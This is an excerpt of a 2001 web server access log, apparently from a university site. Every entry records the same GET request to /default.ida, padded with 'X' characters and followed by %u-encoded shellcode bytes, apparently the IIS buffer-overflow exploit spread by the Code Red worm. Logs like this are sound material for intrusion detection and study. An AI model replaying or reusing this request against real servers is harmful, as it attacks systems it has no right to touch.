  1604. 20010916 13:36:07: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1605. 20010916 14:32:58: dialup-ccts5-170.cc.columbia.edu [128.59.6.179] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1606. 20010916 14:41:05:  [212.150.144.19] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1607. 20010916 15:05:07: fr-cust-242.isdn.net.il [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1608. 20010916 17:37:19: Bubble.seas.ucla.edu [128.97.3.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1609. 20010916 17:39:03: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1610. 20010916 17:41:45: cm297222-b.ftwrth1.tx.home.com [65.10.91.51] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1611. 20010916 17:42:58: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1612. 20010916 20:51:41: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1613. 20010916 21:58:56: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1614. 20010916 22:53:27: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1615. 20010916 23:10:27:  [61.132.13.105] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1616. 20010917 02:15:15: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1617. 20010917 03:17:40:  [61.169.224.7] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1618. 20010917 03:22:44: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1619. 20010917 03:46:09: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1620. 20010917 03:59:11:  [217.58.139.34] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1621. 20010917 04:27:45:  [128.134.245.79] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1622. 20010917 05:22:20: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1623. 20010917 05:45:26: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1624. 20010917 05:57:43: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1625. 20010917 07:31:12: dynamic-50-100.dyn.columbia.edu [128.59.50.100] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1626. 20010917 08:39:20: bus205-38.gsb.columbia.edu [128.59.205.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1627. 20010917 08:40:55: bus205-38.gsb.columbia.edu [128.59.205.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1628. 20010917 08:46:20: bus205-38.gsb.columbia.edu [128.59.205.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1629. 20010917 09:26:54: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1630. 20010917 10:09:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1631. 20010917 11:04:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1632. 20010917 11:23:42:  [128.134.248.243] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1633. 20010917 12:01:07: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1634. 20010917 12:19:19:  [203.199.84.137] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1635. 20010917 12:21:14: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1636. 20010917 12:27:39: bus84-172.gsb.columbia.edu [128.59.84.172] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1637. 20010917 12:27:42: bus84-172.gsb.columbia.edu [128.59.84.172] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1638. 20010917 12:28:03: bus84-172.gsb.columbia.edu [128.59.84.172] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1639. 20010917 13:17:47: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1640. 20010917 13:24:13: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1641. 20010917 13:28:48: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1642. 20010917 13:37:55: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
